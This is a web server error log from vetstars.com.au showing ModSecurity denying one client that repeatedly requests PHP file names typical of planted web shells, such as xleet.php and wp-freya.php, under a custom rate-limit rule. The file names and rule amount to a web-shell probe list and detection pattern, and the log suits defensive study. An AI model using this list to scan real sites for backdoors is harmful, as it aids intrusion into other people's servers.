[Mon Mar 02 00:05:12.404472 2026] [:error] [pid 38034:tid 38051] [client 4.204.200.32:57073] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/olfclass.php"] [unique_id "aaRjuAxtfZjwlJok9K84lgAAAQ0"]
[Mon Mar 02 00:05:13.391103 2026] [:error] [pid 7165:tid 7180] [client 4.204.200.32:58836] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/olfclass.php"] [unique_id "aaRjuRRjCrA8qWBjgG_bZAAAAk0"]
[Mon Mar 02 00:05:14.788855 2026] [:error] [pid 7165:tid 7167] [client 4.204.200.32:62153] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file59.php"] [unique_id "aaRjuhRjCrA8qWBjgG_bawAAAkA"]
[Mon Mar 02 00:05:15.786980 2026] [:error] [pid 7165:tid 7171] [client 4.204.200.32:57052] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file59.php"] [unique_id "aaRjuxRjCrA8qWBjgG_bcAAAAkQ"]
[Mon Mar 02 00:05:17.137976 2026] [:error] [pid 41342:tid 41355] [client 4.204.200.32:57069] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file59.php"] [unique_id "aaRjvY4iJ6RAS5CatDlq7wAAAgo"]
[Mon Mar 02 00:05:18.278478 2026] [:error] [pid 7165:tid 7167] [client 4.204.200.32:58760] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file59.php"] [unique_id "aaRjvhRjCrA8qWBjgG_biAAAAkA"]
[Mon Mar 02 00:05:21.928461 2026] [:error] [pid 38034:tid 38045] [client 4.204.200.32:58810] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "aaRjwQxtfZjwlJok9K84ngAAAQc"]
[Mon Mar 02 00:05:26.599224 2026] [:error] [pid 7133:tid 7153] [client 4.204.200.32:62144] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "aaRjxvCtubh8pR64qB-DhwAAAFI"]
[Mon Mar 02 00:05:31.407926 2026] [:error] [pid 40750:tid 40760] [client 4.204.200.32:64003] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "aaRjywfBuk03yQKDyqu2JwAAAcc"]
[Mon Mar 02 00:05:34.721919 2026] [:error] [pid 38241:tid 38254] [client 4.204.200.32:57000] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "aaRjzvKRPk6YnJBxw_xiKQAAAMo"]
[Mon Mar 02 00:05:37.709942 2026] [:error] [pid 7165:tid 7177] [client 4.204.200.32:52316] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "aaRj0RRjCrA8qWBjgG_b5gAAAko"]
[Mon Mar 02 00:05:39.526148 2026] [:error] [pid 38034:tid 38044] [client 4.204.200.32:56976] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "aaRj0wxtfZjwlJok9K84pAAAAQY"]
[Mon Mar 02 00:05:42.959222 2026] [:error] [pid 41780:tid 41801] [client 4.204.200.32:62802] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "aaRj1sONkVoocLIqzy069wAAA9I"]
[Mon Mar 02 00:05:44.855941 2026] [:error] [pid 41780:tid 41790] [client 4.204.200.32:56983] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X57.php"] [unique_id "aaRj2MONkVoocLIqzy06-AAAA8c"]
[Mon Mar 02 00:05:46.331359 2026] [:error] [pid 33822:tid 33835] [client 4.204.200.32:29835] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X57.php"] [unique_id "aaRj2m6W3ygu1YVssuZLTwAAAos"]
[Mon Mar 02 00:05:49.098540 2026] [:error] [pid 7165:tid 7184] [client 4.204.200.32:56981] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X57.php"] [unique_id "aaRj3RRjCrA8qWBjgG_b-QAAAlE"]
[Mon Mar 02 00:05:51.288294 2026] [:error] [pid 7165:tid 7180] [client 4.204.200.32:52346] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X57.php"] [unique_id "aaRj3xRjCrA8qWBjgG_b_wAAAk0"]
[Mon Mar 02 00:05:52.362525 2026] [:error] [pid 7133:tid 7135] [client 4.204.200.32:56963] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpver.php"] [unique_id "aaRj4PCtubh8pR64qB-DjwAAAEA"]
[Mon Mar 02 00:06:48.008429 2026] [:error] [pid 38034:tid 38057] [client 4.204.200.32:24438] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/snq.php"] [unique_id "aaRkGAxtfZjwlJok9K841wAAARM"]
[Mon Mar 02 00:06:49.240270 2026] [:error] [pid 7165:tid 7172] [client 4.204.200.32:52339] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/snq.php"] [unique_id "aaRkGRRjCrA8qWBjgG_cqQAAAkU"]
[Mon Mar 02 00:06:49.861241 2026] [:error] [pid 7165:tid 7169] [client 4.204.200.32:56995] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/snq.php"] [unique_id "aaRkGRRjCrA8qWBjgG_cqwAAAkI"]
[Mon Mar 02 00:06:50.445841 2026] [:error] [pid 7133:tid 7142] [client 4.204.200.32:24391] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/snq.php"] [unique_id "aaRkGvCtubh8pR64qB-DywAAAEc"]
[Mon Mar 02 00:06:52.501007 2026] [:error] [pid 38034:tid 38053] [client 4.204.200.32:29852] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mcs.php"] [unique_id "aaRkHAxtfZjwlJok9K843QAAAQ8"]
[Mon Mar 02 00:06:56.448527 2026] [:error] [pid 38034:tid 38056] [client 4.204.200.32:24426] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mcs.php"] [unique_id "aaRkIAxtfZjwlJok9K843gAAARI"]
[Mon Mar 02 00:06:57.680557 2026] [:error] [pid 41780:tid 41787] [client 4.204.200.32:52318] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mcs.php"] [unique_id "aaRkIcONkVoocLIqzy07DAAAA8Q"]
[Mon Mar 02 00:06:59.606743 2026] [:error] [pid 38241:tid 38254] [client 4.204.200.32:52313] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mcs.php"] [unique_id "aaRkI_KRPk6YnJBxw_xiogAAAMo"]
[Mon Mar 02 00:07:00.552950 2026] [:error] [pid 44644:tid 44662] [client 4.204.200.32:29866] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aaRkJJ3RJaXMcw3y9V_wagAAAA8"]
[Mon Mar 02 00:07:07.776748 2026] [:error] [pid 7165:tid 7176] [client 4.204.200.32:52303] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aaRkKxRjCrA8qWBjgG_cxAAAAkk"]
[Mon Mar 02 00:07:09.132147 2026] [:error] [pid 7133:tid 7152] [client 4.204.200.32:52331] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aaRkLfCtubh8pR64qB-D5wAAAFE"]
[Mon Mar 02 00:07:11.547925 2026] [:error] [pid 40750:tid 40764] [client 4.204.200.32:52337] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aaRkLwfBuk03yQKDyqu22QAAAcs"]
[Mon Mar 02 00:07:13.228908 2026] [:error] [pid 7165:tid 7178] [client 4.204.200.32:24447] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xleet.php"] [unique_id "aaRkMRRjCrA8qWBjgG_c6AAAAks"]
[Mon Mar 02 00:07:15.984321 2026] [:error] [pid 7165:tid 7170] [client 4.204.200.32:24396] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xleet.php"] [unique_id "aaRkMxRjCrA8qWBjgG_c7QAAAkM"]
[Mon Mar 02 00:07:18.371120 2026] [:error] [pid 40750:tid 40760] [client 4.204.200.32:62808] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xleet.php"] [unique_id "aaRkNgfBuk03yQKDyqu3BQAAAcc"]
[Mon Mar 02 00:07:20.650332 2026] [:error] [pid 7165:tid 7176] [client 4.204.200.32:62795] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xleet.php"] [unique_id "aaRkOBRjCrA8qWBjgG_dFAAAAkk"]
[Mon Mar 02 00:07:22.085609 2026] [:error] [pid 38241:tid 38265] [client 4.204.200.32:52294] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/wp-blog.php"] [unique_id "aaRkOvKRPk6YnJBxw_xiygAAANU"]
[Mon Mar 02 00:07:23.430592 2026] [:error] [pid 7165:tid 7173] [client 4.204.200.32:64027] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/wp-blog.php"] [unique_id "aaRkOxRjCrA8qWBjgG_dIQAAAkY"]
[Mon Mar 02 00:07:26.904535 2026] [:error] [pid 7165:tid 7167] [client 4.204.200.32:29868] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/wp-blog.php"] [unique_id "aaRkPhRjCrA8qWBjgG_dPgAAAkA"]
[Mon Mar 02 00:07:28.031441 2026] [:error] [pid 7165:tid 7189] [client 4.204.200.32:62800] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/wp-blog.php"] [unique_id "aaRkQBRjCrA8qWBjgG_dSgAAAlY"]
[Mon Mar 02 00:07:28.802569 2026] [:error] [pid 7165:tid 7184] [client 4.204.200.32:24437] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aaRkQBRjCrA8qWBjgG_dUgAAAlE"]
[Mon Mar 02 00:07:31.440597 2026] [:error] [pid 44644:tid 44666] [client 4.204.200.32:29857] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aaRkQ53RJaXMcw3y9V_wcAAAABM"]
[Mon Mar 02 00:07:32.484964 2026] [:error] [pid 38241:tid 38244] [client 4.204.200.32:52301] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aaRkRPKRPk6YnJBxw_xi5AAAAMA"]
[Mon Mar 02 00:07:34.689000 2026] [:error] [pid 7165:tid 7187] [client 4.204.200.32:52288] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aaRkRhRjCrA8qWBjgG_dfQAAAlQ"]
[Mon Mar 02 00:07:35.404440 2026] [:error] [pid 7165:tid 7184] [client 4.204.200.32:24421] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aaRkRxRjCrA8qWBjgG_dgwAAAlE"]
[Mon Mar 02 00:07:37.252626 2026] [:error] [pid 40750:tid 40759] [client 4.204.200.32:24418] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aaRkSQfBuk03yQKDyqu3JwAAAcY"]
[Mon Mar 02 00:07:38.117861 2026] [:error] [pid 40750:tid 40757] [client 4.204.200.32:64061] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aaRkSgfBuk03yQKDyqu3LgAAAcQ"]
[Mon Mar 02 00:07:40.028065 2026] [:error] [pid 7165:tid 7174] [client 4.204.200.32:29830] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aaRkTBRjCrA8qWBjgG_dnAAAAkc"]
[Mon Mar 02 00:07:41.024286 2026] [:error] [pid 7165:tid 7176] [client 4.204.200.32:29837] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tmpls.php"] [unique_id "aaRkTRRjCrA8qWBjgG_dqQAAAkk"]
[Mon Mar 02 00:07:43.177558 2026] [:error] [pid 7165:tid 7172] [client 4.204.200.32:24397] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tmpls.php"] [unique_id "aaRkTxRjCrA8qWBjgG_dvAAAAkU"]
[Mon Mar 02 00:07:44.048378 2026] [:error] [pid 40750:tid 40760] [client 4.204.200.32:57006] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tmpls.php"] [unique_id "aaRkUAfBuk03yQKDyqu3QAAAAcc"]
[Mon Mar 02 00:07:44.711943 2026] [:error] [pid 7133:tid 7152] [client 4.204.200.32:29863] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tmpls.php"] [unique_id "aaRkUPCtubh8pR64qB-EBwAAAFE"]
[Mon Mar 02 00:08:37.168350 2026] [:error] [pid 33822:tid 33842] [client 4.204.200.32:29874] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws60.php"] [unique_id "aaRkhW6W3ygu1YVssuZL2AAAApI"]
[Mon Mar 02 00:08:39.370300 2026] [:error] [pid 40750:tid 40769] [client 4.204.200.32:52338] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws60.php"] [unique_id "aaRkhwfBuk03yQKDyqu3zQAAAdA"]
[Mon Mar 02 00:08:40.651652 2026] [:error] [pid 40750:tid 40776] [client 4.204.200.32:29829] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws60.php"] [unique_id "aaRkiAfBuk03yQKDyqu32AAAAdc"]
[Mon Mar 02 00:08:41.421328 2026] [:error] [pid 7165:tid 7182] [client 4.204.200.32:52307] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws60.php"] [unique_id "aaRkiRRjCrA8qWBjgG_fGwAAAk8"]
[Mon Mar 02 00:08:42.422440 2026] [:error] [pid 38241:tid 38265] [client 4.204.200.32:56992] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-freya.php"] [unique_id "aaRkivKRPk6YnJBxw_xjSgAAANU"]
[Mon Mar 02 00:08:43.935301 2026] [:error] [pid 7133:tid 7152] [client 4.204.200.32:52334] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-freya.php"] [unique_id "aaRki_Ctubh8pR64qB-EMQAAAFE"]
